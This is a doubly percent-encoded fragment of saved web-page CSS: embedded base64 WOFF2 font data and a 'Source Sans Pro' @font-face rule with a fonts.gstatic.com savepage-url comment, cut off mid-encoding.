%37%61%25%36%65%25%34%65%25%36%36%25%34%61%25%37%31%25%37%34%25%35%36%25%34%32%25%36%37%25%34%35%25%34%31%25%34%63%25%37%31%25%36%62%25%36%33%25%34%36%25%33%37%25%33%31%25%33%34%25%33%32%25%34%64%25%37%61%25%36%39%25%36%32%25%34%35%25%34%61%25%33%31%25%36%62%25%34%38%25%34%34%25%36%32%25%35%31%25%36%36%25%33%33%25%36%62%25%35%34%25%35%37%25%35%39%25%33%32%25%33%33%25%37%61%25%34%63%25%36%66%25%33%39%25%37%35%25%35%33%25%37%37%25%32%62%25%34%63%25%32%62%25%37%30%25%37%37%25%33%35%25%34%36%25%34%35%25%37%35%25%35%39%25%35%39%25%36%64%25%36%63%25%37%31%25%33%34%25%36%65%25%34%61%25%33%38%25%34%35%25%33%35%25%36%33%25%36%36%25%33%32%25%37%34%25%35%32%25%34%66%25%36%31%25%36%32%25%36%36%25%35%37%25%32%66%25%36%38%25%36%31%25%36%39%25%37%30%25%33%35%25%36%63%25%36%62%25%36%31%25%33%31%25%34%37%25%35%36%25%34%64%25%33%36%25%35%31%25%36%32%25%34%39%25%34%37%25%35%32%25%34%36%25%37%39%25%35%38%25%35%31%25%36%37%25%35%39%25%33%32%25%36%31%25%36%61%25%34%63%25%34%35%25%37%32%25%36%39%25%36%33%25%34%61%25%34%62%25%35%37%25%32%66%25%36%36%25%36%31%25%37%34%25%34%35%25%34%31%25%34%34%25%36%31%25%33%34%25%37%38%25%35%39%25%36%36%25%36%38%25%34%65%25%32%62%25%33%34%25%33%33%25%33%31%25%33%32%25%36%36%25%32%62%25%34%36%25%34%34%25%34%38%25%33%38%25%34%65%25%35%31%25%34%34%25%35%38%25%35%32%25%36%37%25%35%34%25%32%62%25%34%31%25%36%35%25%34%34%25%36%64%25%36%61%25%36%39%25%36%32%25%36%36%25%35%33%25%33%30%25%37%30%25%33%39%25%36%66%25%34%66%25%36%61%25%36%35%25%35%34%25%36%37%25%34%66%25%35%35%25%34%37%25%34%31%25%34%31%25%36%37%25%33%34%25%34%63%25%33%38%25%34%66%25%34%33%25%34%39%25%34%34%25%36%39%25%34%63%25%36%35%25%34%66%25%35%36%25%36%35%25%36%61%25%37%38%25%37%39%25%32%62%25%36%31%25%37%30%25%37%30%25%33%30%25%37%35%25%35%61%25%37%31%25%33%36%25%34%31%25%37%39%25%37%37%25%36%35%25%35%38%25%36%38%25%36%63%25%36%31%25%33%31%25%35%31%25%35%61%25%35%35%25%37%31%25%37%32%25%34%37%25%35%36%25%34%32%25%34%63%25%35%32%25%34%62%25%34%33%25%33%39%25%34%64%25%36%65%25%36%35%25%37%36%25%34%65%25%34%62%25%35%33%25%36%34%25%37%31%25%33%37%25%36%66%25%34%37%25%37%37%25%34%64%25%37%33%25%34%64%25%34%64%25%36%38%25%37%35%25%36%31%25%35%37%25%37%37%25%36%65%25%35%33%25%37%61%25%36%65%25%34%39%25%37%32%25%35%36%25%34%36%25%37%32%25%37%32%25%36%36%25%34%36%25%36%62%25%35%61%25%35%35%25%33%34%25%35%61%25%36%38%25%37%32%25%37%31%25%37%36%25%36%66%25%35%36%25%34%34%25%37%36%25%34%31%25%34%61%25%34%31%25%36%64%25%36%66%25%34%39%25%33%39%25%34%38%25%36%65%25%35%31%25%37%36%25%35%32%25%35%35%25%36%39%25%34%65%25%37%36%25%33%39%25%34%63%25%34%62%25%35%34%25%33%35%25%33%33%25%35%34%25%36%66%25%37%33%25%37%32%25%36%37%25%36%36%25%36%39%25%33%38%25%34%35%25%36%38%25%36%33%25%35%37%25%35%33%25%37%61%25%36%66%25%37%36%25%37%34%25%36%64%25%36%61%25%36%36%25%36%38%25%32%62%25%33%38%25%37%31%25%32%62%25%37%34%25%34%38%25%37%36%25%35%36%25%34%64%25%37%61%25%34%65%25%34%33%25%33%33%25%36%36%25%35%34%25%36%33%25%37%38%25%36%35%25%35%34%25%37%35%25%37%39%25%36%38%25%36%35%25%33%31%25%37%35%25%33%33%25%35%61%25%34%63%25%34%61%25%35%32%25%34%38%25%37%30%25%34%39%25%36%33%25%33%35%25%35%30%25%36%66%25%34%36%25%33%34%25%33%38%25%36%38%25%37%31%25%33%35%25%35%32%25%36%63%25%34%66%25%35%38%25%34%32%25%34%66%25%35%39%25%36%65%25%34%66%25%37%35%25%34%62%25%36%64%25%37%32%25%34%32%25%34%66%25%36%64%25%34%62%25%37%36%25%35%30%25%37%35%25%33%35%25%37%30%25%35%61%25%34%37%25%36%66%25%35%61%25%35%31%25%36%65%25%36%31%25%36%63%25%37%39%25%36%31%25%34%62%25%34%66%25%32%66%25%36%36%25%34%35%25%36%65%25%34%63%25%34%62%25%33%33%25%37%35%25%34%63%25%36%62%25%36%65%25%36%33%25%34%39%25%34%64%25%33%39%25%34%61%25%34%66%25%36%31%25%35%36%25%33%34%25%37%32%25%34%62%25%34%65%25%34%32%25%35%34%25%33%32%25%34%38%25%34%64%25%34%61%25%36%31%25%36%39%25%34%35%25%35%61%25%34%62%25%34%64%25%33%38%25%33%31%25%34%65%25%34%63%25%35%36%25%36%62%25%37%30%25%33%39%25%35%35%25%36%36%25%34%39%25%34%62%25%33%39%25%37%61%25%36%62%25%36%35%25%33%33%25%33%38%25%35%30%25%36%37%25%35%38%25%34%63%25%33%33%25%36%35%25%34%37%25%33%39%25%35%33%25%37%39%25%36%61%25%34%65%25%35%32%25%36%31%25%37%33%25%36%38%25%34%65%25%34%32%25%35%38%25%34%36%25%36%65%25%35%39%25%34%31%25%34%31%25%35%33%25%34%62%25%36%39%25%34%65%25%36%34%25%37%31%25%33%39%25%35%33%25%34%64%25%35%30%25%35%32%25%34%61%25%36%64%25%34%62%25%35%32%25%33%39%25%34%63%25%34%37%25%33%32%25%36%64%25%34%64%25%33%33%25%34%61%25%33%31%25%36%36%25%35%32%25%37%33%25%37%30%25%37%32%25%34%64%25%35%31%25%37%31%25%33%31%25%33%34%25%34%35%25%34%31%25%37%37%25%36%61%25%34%31%25%36%39%25%34%62%25%34%35%25%37%38%25%36%66%25%36%37%25%36%33%25%36%39%25%33%37%25%34%33%25%34%63%25%33%35%25%36%65%25%35%39%25%34%37%25%37%35%25%33%38%25%37%33%25%36%31%25%35%30%25%37%33%25%33%30%25%34%33%25%33%31%25%33%31%25%36%34%25%34%32%25%34%61%25%37%33%25%33%35%25%35%34%25%35%35%25%34%39%25%37%39%25%37%34%25%35%31%25%35%37%25%33%31%25%35%34%25%36%32%25%37%30%25%35%35%25%37%39%25%36%64%25%36%35%25%37%61%25%33%39%25%34%63%25%36%37%25%33%38%25%34%39%25%35%32%25%34%31%25%36%62%25%34%39%25%37%32%25%36%31%25%35%33%25%36%63%25%37%35%25%33%31%25%36%39%25%37%31%25%33%32%25%36%65%25%35%32%25%36%39%25%35%30%25%35%31%25%36%35%25%36%63%25%34%32%25%37%30%25%34%65%25%35%32%25%36%63%25%36%37%25%37%61%25%35%35%25%36%38%25%34%36%25%33%35%25%35%32%25%33%35%25%34%65%25%33%34%25%36%32%25%37%33%25%34%33%25%34%61%25%35%61%25%36%37%25%36%39%25%37%61%25%34%65%25%36%64%25%36%36%25%37%61%25%34%35%25%36%39%25%37%32%25%32%66%25%36%31%25%36%33%25%34%61%25%33%31%25%36%63%25%33%32%25%33%35%25%35%31%25%34%62%25%36%63%25%33%39%25%36%34%25%36%32%25%34%35%25%36%63%25%34%36%25%33%31%25%36%39%25%34%66%25%34%61%25%33%36%25%35%32%25%35%36%25%35%31%25%36%65%25%35%38%25%36%39%25%37%32%25%34%61%25%35%34%25%36%63%25%37%33%25%33%32%25%36%32%25%34%65%25%33%35%25%35%39%25%33%30%25%36%31%25%37%31%25%36%65%25%37%38%25%34%31%25%34%32%25%36%35%25%37%38%25%37%38%25%36%63%25%34%64%25%37%39%25%37%33%25%35%31%25%34%37%25%37%39%25%36%34%25%36%38%25%37%61%25%37%35%25%35%37%25%34%34%25%37%61%25%34%36%25%35%32%25%37%38%25%33%32%25%35%33%25%37%32%25%33%36%25%33%34%25%34%36%25%36%39%25%33%39%25%34%38%25%33%35%25%36%66%25%37%36%25%35%30%25%34%64%25%34%65%25%35%61%25%35%34%25%34%64%25%33%38%25%36%63%25%34%64%25%37%35%25%34%65%25%34%39%25%35%31%25%35%37%25%36%66%25%36%33%25%35%39%25%34%34%25%36%35%25%35%35%25%35%36%25%36%31%25%33%38%25%33%33%25%35%38%25%34%66%25%34%65%25%36%66%25%33%32%25%35%36%25%37%33%25%33%38%25%34%64%25%36%38%25%37%30%25%35%30%25%33%37%25%35%33%25%34%62%25%37%38%25%35%35%25%33%37%25%34%35%25%34%65%25%35%33%25%34%62%25%37%30%25%36%65%25%35%31%25%37%38%25%36%62%25%33%34%25%37%32%25%34%37%25%33%32%25%35%35%25%36%34%25%37%61%25%36%35%25%34%39%25%37%37%25%36%39%25%35%61%25%32%62%25%36%33%25%35%37%25%36%34%25%34%63%25%35%39%25%33%33%25%35%32%25%37%35%25%34%63%25%34%39%25%37%30%25%36%38%25%37%37%25%34%37%25%33%33%25%36%62%25%36%66%25%37%38%25%35%35%25%34%37%25%35%39%25%37%37%25%34%62%25%35%37%25%35%36%25%33%33%25%36%31%25%34%32%25%37%34%25%37%39%25%36%36%25%33%36%25%33%34%25%37%37%25%37%61%25%34%66%25%36%66%25%35%33%25%33%32%25%33%36%25%34%39%25%34%32%25%36%35%25%33%31%25%34%64%25%34%32%25%34%34%25%36%34%25%33%30%25%34%31%25%34%35%25%37%61%25%37%33%25%34%61%25%35%31%25%37%36%25%35%38%25%33%33%25%33%38%25%34%66%25%34%64%25%34%32%25%36%32%25%33%34%25%33%35%25%35%32%25%35%30%25%35%31%25%34%61%25%34%36%25%34%65%25%37%30%25%34%36%25%34%61%25%34%31%25%36%38%25%34%31%25%34%62%25%34%31%25%34%33%25%36%38%25%36%38%25%33%37%25%36%39%25%34%33%25%34%62%25%34%34%25%35%31%25%34%34%25%36%62%25%36%35%25%34%34%25%36%63%25%34%31%25%34%31%25%33%38%25%35%31%25%34%62%25%37%37%25%36%65%25%34%36%25%37%30%25%33%37%25%33%31%25%36%61%25%34%35%25%33%37%25%34%61%25%36%35%25%36%39%25%33%34%25%36%61%25%36%33%25%36%35%25%37%33%25%34%36%25%36%33%25%35%38%25%34%37%25%37%36%25%36%63%25%33%38%25%36%63%25%35%30%25%36%38%25%37%38%25%34%35%25%36%63%25%36%36%25%36%66%25%34%37%25%33%39%25%36%34%25%35%36%25%34%39%25%34%62%25%33%35%25%32%66%25%36%34%25%36%32%25%36%35%25%37%35%25%34%64%25%34%64%25%35%30%25%36%65%25%33%30%25%33%37%25%35%36%25%34%33%25%36%38%25%35%33%25%36%37%25%34%34%25%35%31%25%34%62%25%36%63%25%35%35%25%34%61%25%34%35%25%37%32%25%35%37%25%36%31%25%34%37%25%33%38%25%37%39%25%34%64%25%35%38%25%36%35%25%34%32%25%34%39%25%34%66%25%34%38%25%33%35%25%37%36%25%37%36%25%32%62%25%37%39%25%35%32%25%35%38%25%36%64%25%34%63%25%36%32%25%33%35%25%32%62%25%34%65%25%34%33%25%37%31%25%36%64%25%34%33%25%37%35%25%35%32%25%33%36%25%36%31%25%37%37%25%37%33%25%36%31%25%36%34%25%34%34%25%33%33%25%35%31%25%34%64%25%32%62%25%36%39%25%36%64%25%34%33%25%34%63%25%36%33%25%36%35%25%33%35%25%34%61%25%34%64%25%35%36%25%36%63%25%32%62%25%37%36%25%35%32%25%37%37%25%36%39%25%36%65%25%35%32%25%36%36%25%33%37%25%33%39%25%34%65%25%37%34%25%36%65%25%37%61%25%37%35%25%34%39%25%34%61%25%33%35%25%36%32%25%37%31%25%36%66%25%35%31%25%36%37%25%36%36%25%35%39%25%36%35%25%36%64%25%35%30%25%34%65%25%36%63%25%34%62%25%36%63%25%37%35%25%37%38%25%34%61%25%34%66%25%34%39%25%33%39%25%36%66%25%35%33%25%33%31%25%34%35%25%35%37%25%33%39%25%34%33%25%36%36%25%35%39%25%34%65%25%33%35%25%36%61%25%35%38%25%33%36%25%34%62%25%35%35%25%36%33%25%36%36%25%36%65%25%37%61%25%36%37%25%36%39%25%34%32%25%35%33%25%34%33%25%35%34%25%35%61%25%36%62%25%34%35%25%34%63%25%36%65%25%35%61%25%34%33%25%35%37%25%37%61%25%34%33%25%32%66%25%36%31%25%33%38%25%34%62%25%36%63%25%35%36%25%37%31%25%34%39%25%36%61%25%34%31%25%35%61%25%35%32%25%36%31%25%34%36%25%35%32%25%35%34%25%34%36%25%36%38%25%36%37%25%35%37%25%36%32%25%35%61%25%37%36%25%36%39%25%33%30%25%35%33%25%37%34%25%36%31%25%34%63%25%35%33%25%34%36%25%36%38%25%36%64%25%34%39%25%36%38%25%34%63%25%37%37%25%36%32%25%35%35%25%33%39%25%33%30%25%37%34%25%35%34%25%34%65%25%35%35%25%35%34%25%35%38%25%36%61%25%35%35%25%34%35%25%34%61%25%37%61%25%34%32%25%33%35%25%36%66%25%34%66%25%34%36%25%34%39%25%37%31%25%34%61%25%33%30%25%34%33%25%33%32%25%33%34%25%34%38%25%37%31%25%35%39%25%37%31%25%35%38%25%34%61%25%33%31%25%34%34%25%37%38%25%36%66%25%33%32%25%35%37%25%37%36%25%36%34%25%37%35%25%34%39%25%34%61%25%37%32%25%32%66%25%36%38%25%37%37%25%36%37%25%34%34%25%35%33%25%35%31%25%36%61%25%36%62%25%37%33%25%37%36%25%33%35%25%37%34%25%34%37%25%34%39%25%34%62%25%34%65%25%33%30%25%37%37%25%37%38%25%35%33%25%36%61%25%36%39%25%36%63%25%37%61%25%36%61%25%34%61%25%35%36%25%36%39%25%33%34%25%36%38%25%37%32%25%37%31%25%36%64%25%36%33%25%34%31%25%34%39%25%36%62%25%33%37%25%33%37%25%36%31%25%36%37%25%35%35%25%36%36%25%33%34%25%34%63%25%34%33%25%33%38%25%36%64%25%33%32%25%35%37%25%36%32%25%35%61%25%34%32%25%34%65%25%36%37%25%35%39%25%34%31%25%33%34%25%34%65%25%33%30%25%37%30%25%37%39%25%36%35%25%35%37%25%34%63%25%33%30%25%34%33%25%35%31%25%34%31%25%33%35%25%37%38%25%34%34%25%34%66%25%37%39%25%36%36%25%35%36%25%34%37%25%33%30%25%35%38%25%33%32%25%36%61%25%37%38%25%35%39%25%36%37%25%35%36%25%34%61%25%33%33%25%33%36%25%33%32%25%34%62%25%36%32%25%36%63%25%34%39%25%32%66%25%36%35%25%35%30%25%32%66%25%33%35%25%32%66%25%32%66%25%35%33%25%36%63%25%35%36%25%34%61%25%36%31%25%34%37%25%35%37%25%35%36%25%36%63%25%37%31%25%36%36%25%35%31%25%36%64%25%37%30%25%35%36%25%36%36%25%34%65%25%36%63%25%37%36%25%35%30%25%34%63%25%37%61%25%37%30%25%35%37%25%36%65%25%37%32%25%36%65%25%37%32%25%37%31%25%36%31%25%33%36%25%34%33%25%36%38%25%35%32%25%36%38%25%37%30%25%37%32%25%36%66%25%37%31%25%36%64%25%34%65%25%37%61%25%36%61%25%37%30%25%37%34%25%36%62%25%33%31%25%35%61%25%36%31%25%36%64%25%33%36%25%36%31%25%34%65%25%33%38%25%33%39%25%36%66%25%33%36%25%33%34%25%33%35%25%37%61%25%34%63%25%33%37%25%33%30%25%35%39%25%37%61%25%33%37%25%35%34%25%34%62%25%37%35%25%32%66%25%34%63%25%33%39%25%37%31%25%37%33%25%32%66%25%36%31%25%36%64%25%33%32%25%32%62%25%34%62%25%35%37%25%34%37%25%33%32%25%33%37%25%37%31%25%33%34%25%34%61%25%33%30%25%33%33%25%35%30%25%37%35%25%36%39%25%36%62%25%36%66%25%33%38%25%33%36%25%33%36%25%33%36%25%37%31%25%34%62%25%36%32%25%35%61%25%36%32%25%37%32%25%37%32%25%37%31%25%35%39%25%36%34%25%36%35%25%36%35%25%37%35%25%37%33%25%36%61%25%35%38%25%33%34%25%34%37%25%32%62%25%36%32%25%37%35%25%37%34%25%36%65%25%36%37%25%35%30%25%33%34%25%34%37%25%34%37%25%36%64%25%37%39%25%35%31%25%33%35%25%36%32%25%35%39%25%36%31%25%36%32%25%33%36%25%36%37%25%36%38%25%36%38%25%36%38%25%36%65%25%37%35%25%37%36%25%35%38%25%33%33%25%36%35%25%32%62%25%36%38%25%36%38%25%34%37%25%36%65%25%34%31%25%35%33%25%35%33%25%35%31%25%36%33%25%36%64%25%34%38%25%34%63%25%37%61%25%32%66%25%32%62%25%34%31%25%36%37%25%35%31%25%34%62%25%34%35%25%36%39%25%37%39%25%34%35%25%36%64%25%35%61%25%34%36%25%36%35%25%34%62%25%34%39%25%37%36%25%33%31%25%34%32%25%34%33%25%37%36%25%35%61%25%37%32%25%34%62%25%34%31%25%36%39%25%37%33%25%33%38%25%37%34%25%37%35%25%34%66%25%32%62%25%37%38%25%33%30%25%37%37%25%36%62%25%36%64%25%34%38%25%34%38%25%34%63%25%35%61%25%34%66%25%34%35%25%35%35%25%34%64%25%36%39%25%37%33%25%36%33%25%33%31%25%33%32%25%37%38%25%33%34%25%33%31%25%35%36%25%36%37%25%35%61%25%37%30%25%34%37%25%34%66%25%35%32%25%36%64%25%36%31%25%36%31%25%36%33%25%34%37%25%36%62%25%37%35%25%36%36%25%34%61%25%36%35%25%33%30%25%37%38%25%37%30%25%36%61%25%36%65%25%34%39%25%36%62%25%36%64%25%36%64%25%34%64%25%35%32%25%34%66%25%36%61%25%34%61%25%37%37%25%35%35%25%37%30%25%34%33%25%35%31%25%35%36%25%37%31%25%35%35%25%36%63%25%34%34%25%35%37%25%37%34%25%34%62%25%35%32%25%36%65%25%36%37%25%37%37%25%36%63%25%36%63%25%33%31%25%34%61%25%37%31%25%36%31%25%36%31%25%34%38%25%34%34%25%36%38%25%34%31%25%33%30%25%35%38%25%35%30%25%36%62%25%34%63%25%34%35%25%35%33%25%34%61%25%34%37%25%36%61%25%35%32%25%34%39%25%33%30%25%35%37%25%35%30%25%35%35%25%36%32%25%34%64%25%35%37%25%34%63%25%34%38%25%36%61%25%37%38%25%34%63%25%35%38%25%35%39%25%36%62%25%37%36%25%34%34%25%36%39%25%34%37%25%32%62%25%36%62%25%36%37%25%37%35%25%36%34%25%34%38%25%36%64%25%34%32%25%34%34%25%35%34%25%34%62%25%36%37%25%35%31%25%36%37%25%35%33%25%35%35%25%37%36%25%36%61%25%36%64%25%37%31%25%32%62%25%33%39%25%33%30%25%36%39%25%36%65%25%33%32%25%37%39%25%36%38%25%37%39%25%35%33%25%34%64%25%33%31%25%35%35%25%37%39%25%35%61%25%35%37%25%36%63%25%36%66%25%35%36%25%35%35%25%36%35%25%34%39%25%36%62%25%35%33%25%35%61%25%34%64%25%36%63%25%35%34%25%33%36%25%34%37%25%36%39%25%37%39%25%36%35%25%33%36%25%33%34%25%36%31%25%33%34%25%37%30%25%33%37%25%34%38%25%36%65%25%37%31%25%35%35%25%36%63%25%34%36%25%35%33%25%37%30%25%33%30%25%33%36%25%35%32%25%34%65%25%35%36%25%33%33%25%36%66%25%35%61%25%35%61%25%36%31%25%36%32%25%35%30%25%36%62%25%34%34%25%34%35%25%36%66%25%36%33%25%34%35%25%37%37%25%37%38%25%37%38%25%37%38%25%34%61%25%37%32%25%34%36%25%37%34%25%36%33%25%33%36%25%34%35%25%36%32%25%37%37%25%35%30%25%35%36%25%34%62%25%36%62%25%33%34%25%34%36%25%35%61%25%35%39%25%34%36%25%35%61%25%33%38%25%37%31%25%35%39%25%34%62%25%37%36%25%37%32%25%36%39%25%36%62%25%37%36%25%34%65%25%33%31%25%34%62%25%36%37%25%37%36%25%34%37%25%34%62%25%35%39%25%37%31%25%34%62%25%37%32%25%34%38%25%36%62%25%33%32%25%36%39%25%35%38%25%33%32%25%35%35%25%36%63%25%33%35%25%33%33%25%33%38%25%36%32%25%34%36%25%34%35%25%36%65%25%35%33%25%33%33%25%37%36%25%32%62%25%36%34%25%33%31%25%32%66%25%35%35%25%37%35%25%36%65%25%35%38%25%37%35%25%35%34%25%32%62%25%34%33%25%35%35%25%34%62%25%32%66%25%33%39%25%36%61%25%35%34%25%36%65%25%33%34%25%34%31%25%35%35%25%34%63%25%35%61%25%35%34%25%36%61%25%37%38%25%34%39%25%34%62%25%34%32%25%34%38%25%35%35%25%36%62%25%36%62%25%34%63%25%37%35%25%34%65%25%35%36%25%36%66%25%33%30%25%37%36%25%37%61%25%34%66%25%36%63%25%34%38%25%33%39%25%35%61%25%37%33%25%33%30%25%35%61%25%34%65%25%35%36%25%32%66%25%37%61%25%33%36%25%36%65%25%33%39%25%36%38%25%35%34%25%34%37%25%34%65%25%33%32%25%33%35%25%36%36%25%32%66%25%35%30%25%34%36%25%36%32%25%32%62%25%33%36%25%34%39%25%37%33%25%37%31%25%33%35%25%34%36%25%36%35%25%35%33%25%34%34%25%34%66%25%33%30%25%34%63%25%37%36%25%37%38%25%37%30%25%34%34%25%34%63%25%34%39%25%33%30%25%32%66%25%35%34%25%36%65%25%33%30%25%33%36%25%37%39%25%35%61%25%34%66%25%36%36%25%34%31%25%37%30%25%35%32%25%35%31%25%36%61%25%37%38%25%34%39%25%34%62%25%34%32%25%34%38%25%35%36%25%35%35%25%35%35%25%34%62%25%33%36%25%34%33%25%36%37%25%36%66%25%35%34%25%36%31%25%34%35%25%36%35%25%36%38%25%34%39%25%36%62%25%34%36%25%34%32%25%35%31%25%37%32%25%36%37%25%36%31%25%35%36%25%37%30%25%33%30%25%34%32%25%36%62%25%34%32%25%34%35%25%35%35%25%35%31%25%33%31%25%34%37%25%33%37%25%33%32%25%34%65%25%34%66%25%36%65%25%34%32%25%33%39%25%37%35%25%36%65%25%36%35%25%36%32%25%35%61%25%33%33%25%33%38%25%35%30%25%35%37%25%36%33%25%33%35%25%34%31%25%36%62%25%32%62%25%36%64%25%36%31%25%36%35%25%37%32%25%34%39%25%32%62%25%36%32%25%37%38%25%34%36%25%33%38%25%36%37%25%36%38%25%33%39%25%34%61%25%37%30%25%34%35%25%34%37%25%33%35%25%35%39%25%33%37%25%34%36%25%36%62%25%35%34%25%34%64%25%36%62%25%36%66%25%33%35%25%37%30%25%33%31%25%37%36%25%37%61%25%33%33%25%36%65%25%37%39%25%34%61%25%32%62%25%36%34%25%35%35%25%35%37%25%33%31%25%33%36%25%36%39%25%37%31%25%33%36%25%34%32%25%33%36%25%35%36%25%36%33%25%37%30%25%33%32%25%37%35%25%34%39%25%36%39%25%35%38%25%33%37%25%37%30%25%34%62%25%35%36%25%33%35%25%35%31%25%34%63%25%37%34%25%37%39%25%34%62%25%35%38%25%36%34%25%34%33%25%37%30%25%33%38%25%37%34%25%35%36%25%36%32%25%33%31%25%37%34%25%35%36%25%37%32%25%34%65%25%33%31%25%33%32%25%37%36%25%33%31%25%36%35%25%34%32%25%36%38%25%36%65%25%36%61%25%33%31%25%33%39%25%34%39%25%34%65%25%33%34%25%36%37%25%35%38%25%35%34%25%34%64%25%33%31%25%34%33%25%35%33%25%35%32%25%37%33%25%36%61%25%36%66%25%37%39%25%34%37%25%33%36%25%35%61%25%37%30%25%35%38%25%37%61%25%37%36%25%33%33%25%36%31%25%36%61%25%33%30%25%36%61%25%37%61%25%36%63%25%35%39%25%37%35%25%37%37%25%35%35%25%37%39%25%35%35%25%36%31%25%36%36%25%33%30%25%37%61%25%34%39%25%37%34%25%36%39%25%37%39%25%34%35%25%36%31%25%35%30%25%33%34%25%36%39%25%37%38%25%33%36%25%34%61%25%33%34%25%36%36%25%34%61%25%32%62%25%33%34%25%32%66%25%32%62%25%36%34%25%33%38%25%35%34%25%35%37%25%36%31%25%34%64%25%37%36%25%36%38%25%34%61%25%37%36%25%36%37%25%33%37%25%34%64%25%37%35%25%32%66%25%35%31%25%36%66%25%36%32%25%33%37%25%35%33%25%35%30%25%34%33%25%35%38%25%35%37%25%37%31%25%37%38%25%34%64%25%35%30%25%33%37%25%36%62%25%34%65%25%36%61%25%37%30%25%37%31%25%37%33%25%37%61%25%36%66%25%36%39%25%35%30%25%37%61%25%34%34%25%33%37%25%36%37%25%36%38%25%33%30%25%37%37%25%36%38%25%36%61%25%33%32%25%35%61%25%33%34%25%37%30%25%33%38%25%32%62%25%36%61%25%33%31%25%36%61%25%36%63%25%36%31%25%33%37%25%34%65%25%36%64%25%34%64%25%33%33%25%37%35%25%34%33%25%37%61%25%36%64%25%33%39%25%34%35%25%35%35%25%34%31%25%34%31%25%34%31%25%33%64%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%30%25%33%30%25%33%30%25%33%30%25%32%64%25%33%30%25%33%30%25%34%36%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%33%33%25%33%31%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%33%35%25%33%32%25%32%64%25%33%30%25%33%31%25%33%35%25%33%33%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%32%25%34%32%25%34%32%25%32%64%25%33%30%25%33%32%25%34%32%25%34%33%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%32%25%34%33%25%33%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%32%25%34%34%25%34%31%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%32%25%34%34%25%34%33%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%33%30%25%33%30%25%32%64%25%33%32%25%33%30%25%33%36%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%33%37%25%33%34%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%34%31%25%34%33%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%31%25%33%32%25%33%32%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%31%25%33%39%25%33%31%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%31%25%33%39%25%33%33%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%32%25%33%31%25%33%32%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%32%25%33%31%25%33%35%25%32%63%25%32%30%25%35%35%25%32%62%25%34%36%25%34%35%25%34%36%25%34%36%25%32%63%25%32%30%25%35%35%25%32%62%25%34%36%25%34%36%25%34%36%25%34%34%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%36%33%25%37%39%25%37%32%25%36%39%25%36%63%25%36%63%25%36%39%25%36%33%25%32%64%25%36%35%25%37%38%25%37%34%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%36%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%37%39%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%36%39%25%33%35%25%33%34%25%37%32%25%37%37%25%36%64%25%36%38%25%36%34%25%37%35%25%37%61%25%33%38%25%34%31%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25